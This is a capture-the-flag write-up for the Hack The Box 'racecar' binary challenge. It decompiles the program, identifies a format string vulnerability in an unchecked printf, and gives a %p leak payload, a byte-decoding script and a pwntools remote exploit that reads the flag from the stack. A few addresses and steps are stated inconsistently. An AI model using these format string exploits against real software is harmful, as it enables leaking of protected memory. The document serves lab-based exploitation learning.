description | cover | coverY |
---|---|---|
08/18/2023 |
0 |
{% embed url="https://app.hackthebox.com/challenges/racecar" %}
Password: hackthebox
Did you know that racecar spelled backwards is racecar? Well, now that you know everything about racing, win this race and get the flag!
{% code overflow="wrap" %}
racecar: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped
{% endcode %}
We can see that we are going to be exploiting a 32-bit ELF binary that is not stripped and is dynamically linked, meaning it is likely linked to glibc
.
Although the binary is not stripped, we still lack debugging symbols.
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
We can see that this binary was compiled with FULL memory protections.
Time to fire up ghidra
.
Since this binary isn't stripped, we don't have to worry about finding the entry point and we can skip directly to our main function in our symbol tree.
Time to analyze what is going on in our main function.
I made sure to change all weird values to strings as it would help me in the future to read the code better.
I also was sure to leave comments throughout the listing layout and the decompilation where there are important conditions.
Decompilation code of main()
:
{% code lineNumbers="true" %}
void main(void)
{
int iVar1;
int iVar2;
int in_GS_OFFSET;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
setup();
banner();
info();
while (check != 0) {
iVar2 = menu();
if (iVar2 == 1) {
car_info();
}
else if (iVar2 == 2) {
check = 0;
car_menu();
}
else {
printf("\n%s[-] Invalid choice!%s\n","\x1b[1;31m","\x1b[1;36m");
}
}
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
{% endcode %}
We can see that we are establishing some local variables in main()
, calling a couple functions: setup()
, banner()
, info()
, car_info()
, and car_menu()
.
The other functions were not very lucrative or interesting, but I did notice that car_menu()
was extremely lucrative.
Decompilation code of car_menu():
{% code lineNumbers="true" %}
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void car_menu(void)
{
int car;
int race;
uint __seed;
int iVar1;
size_t sVar2;
char *__format;
FILE *__stream;
int in_GS_OFFSET;
char *pcVar3;
undefined4 uVar4;
undefined4 uVar5;
uint local_54;
char local_3c [44];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
uVar4 = 0xffffffff;
uVar5 = 0xffffffff;
do {
printf(&DAT_00011948);
car = read_int(uVar4,uVar5);
if ((car != 2) && (car != 1)) {
printf("\n%s[-] Invalid choice!%s\n","\x1b[1;31m","\x1b[1;36m");
}
} while ((car != 2) && (car != 1));
race = race_type();
__seed = time((time_t *)0x0);
srand(__seed);
/*IF Statement for winning 1*/
if (((car == 1) && (race == 2)) || ((car == 2 && (race == 2)))) {
race = rand();
race = race % 10;
iVar1 = rand();
iVar1 = iVar1 % 100;
}
/*IF Statement for winning 2*/
else if (((car == 1) && (race == 1)) || ((car == 2 && (race == 1)))) {
race = rand();
race = race % 100;
iVar1 = rand();
iVar1 = iVar1 % 10;
}
else {
race = rand();
race = race % 100;
iVar1 = rand();
iVar1 = iVar1 % 100;
}
local_54 = 0;
while( true ) {
sVar2 = strlen("\n[*] Waiting for the race to finish...");
if (sVar2 <= local_54) break;
putchar((int)"\n[*] Waiting for the race to finish..."[local_54]);
if ("\n[*] Waiting for the race to finish..."[local_54] == '.') {
sleep(0);
}
local_54 = local_54 + 1;
}
/* Win Race Condition */
if (((car == 1) && (race < iVar1)) || ((car == 2 && (iVar1 < race)))) {
printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);
coins = coins + 100;
pcVar3 = "\x1b[1;36m";
printf("[+] Current coins: [%d]%s\n",coins,"\x1b[1;36m");
printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",
&DAT_000119de);
__format = (char *)malloc(0x171);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
printf("%s[-] Could not open flag.txt. Please contact the creator.\n","\x1b[1;31m",pcVar3);
/* WARNING: Subroutine does not return */
exit(0x69);
}
fgets(local_3c,0x2c,__stream);
read(0,__format,0x170);
puts(
"\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1b[0m"
);
printf(__format);
}
else {
/* Win Race Condition END */
if (((car == 1) && (iVar1 < race)) || ((car == 2 && (race < iVar1)))) {
printf("%s\n\n[-] You lost the race and all your coins!\n","\x1b[1;31m");
coins = 0;
printf("[+] Current coins: [%d]%s\n",0,"\x1b[1;36m");
}
}
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
{% endcode %}
We can see that read(__format)
will grab our input from STDIN and writes the result back to STDOUT.
We will then print out __format
with printf()
displaying our "winning message to the press" of what we gave to STDIN from read()
.
We can see with car selection 1 and race selection 2, we are able to win the race.
What is that on line 83?
We can see printf(__format);
This is very important because this is a piece of vulnerable code that will take our input for what we want to say to the press, malloc()
it, and use read()
to take our STDIN and place it in that malloc call.
However, in particular, this is a format string vulnerability.
This is because printf(__format)
is not specifying a format specifier.
We see that we can win the race by selecting either car one and race 2 or car 2 and race 1.
Let's see if we can inject a format argument via user input.
This should not happen. This is vulnerable!
Let's do some additional testing on the binary from the local side to locate where the flag is in memory.
Let's check out what the flag is doing from this snippet of code taken from our car_menu()
function:
__format = (char *)malloc(0x171);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
printf("%s[-] Could not open flag.txt. Please contact the creator.\n","\x1b[1;31m",pcVar3);
/* WARNING: Subroutine does not return */
exit(0x69);
}
We can see that fopen()
is opening flag.txt
with the "r"
argument which will open the text file for reading.
However, it never prints the flag, it simply opens the file and you can access it via a file descriptor.
But, this means we can print the data/string associated to flag.txt
if we can locate it in memory!
Let's do this locally so we have control of the data in flag.txt so we can locate it easier.
flag.txt
(local):
echo "AAAAAAAAAAAAAAAAAAAAA" > flag.txt
Keep in mind that our flag is being opened via fopen()
in the car_menu()
function.
car_menu() -> Winning conditions -> flag.txt
We can see our flag in memory being represented as 0x41 (A in hex).
Exploit:
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Now, connect to the remote server hosting the binary and run the exploit above and plug your data into the script below.
We now know that we need to print out at least 14 addresses to hit the flag on the stack.
We can use this script to convert bytes to ASCII and reverse the order for us to grab our flag:
#!/usr/bin/env python3
import re
raw_flag = input("Enter the raw data: ")
raw_flag = raw_flag.split()[::-1]
for i in range(len(raw_flag)):
raw_flag[i] = re.findall('..', raw_flag[i])
flag = []
for chars in raw_flag:
word = ""
for char in chars[::-1]:
if char != '0x':
word += chr(int(char, 16))
flag.append(word)
flag.reverse()
print(''.join(flag))
Let's locate in the decompilation a little after where our flag is loaded into memory:
We can see that this is the 3rd to last printf()
call in car_menu()
.
By viewing the disassembly of car_menu()
, we can find the 3rd to last printf()
call via disass car_menu
in gdb
.
So, we now want to break at:
0x5655600
We can do this with b *0x56556002
in gdb
.
Run your program and continue execution and print out your stack pointer and you will see the flag in memory!
This python exploit will help you remotely exploit the binary.
Shout out to Opcode for helping me with this script.
remote-exploit.py
:
from pwn import *
from binascii import unhexlify
exe = ELF('./racecar', checksec=True)
def str_vuln(index):
p = remote('IP_HERE', PORT_HERE)
p.sendlineafter(b'Name: ', b'1337')
p.sendlineafter(b'Nickname: ', b'1337')
p.sendlineafter(b'Car selection\n> ', b'2')
p.sendlineafter(b'\xef\xb8\x8f\n> ', b'2')
p.sendlineafter(b'Circuit\n> ', b'1')
fmtstr_leak = b'%' + str(index).encode() + b'$x'
p.sendlineafter(b'victory?\n> \x1b[0m', fmtstr_leak)
candidate = p.recv()
p.close()
return candidate
flag = b''
leak = str_vuln('12$x.%13$x.%14$x.%15$x.%16$x.%17$x.%18$x.%19$x.%20$x.%21$x.%22')
for i in leak.split(b'.'):
if len(i) > 12:
fragment = i.split(b'\n')[-1]
flag += unhexlify(fragment)[::-1]
else:
flag += unhexlify(i.strip(b'\n'))[::-1]
print(flag)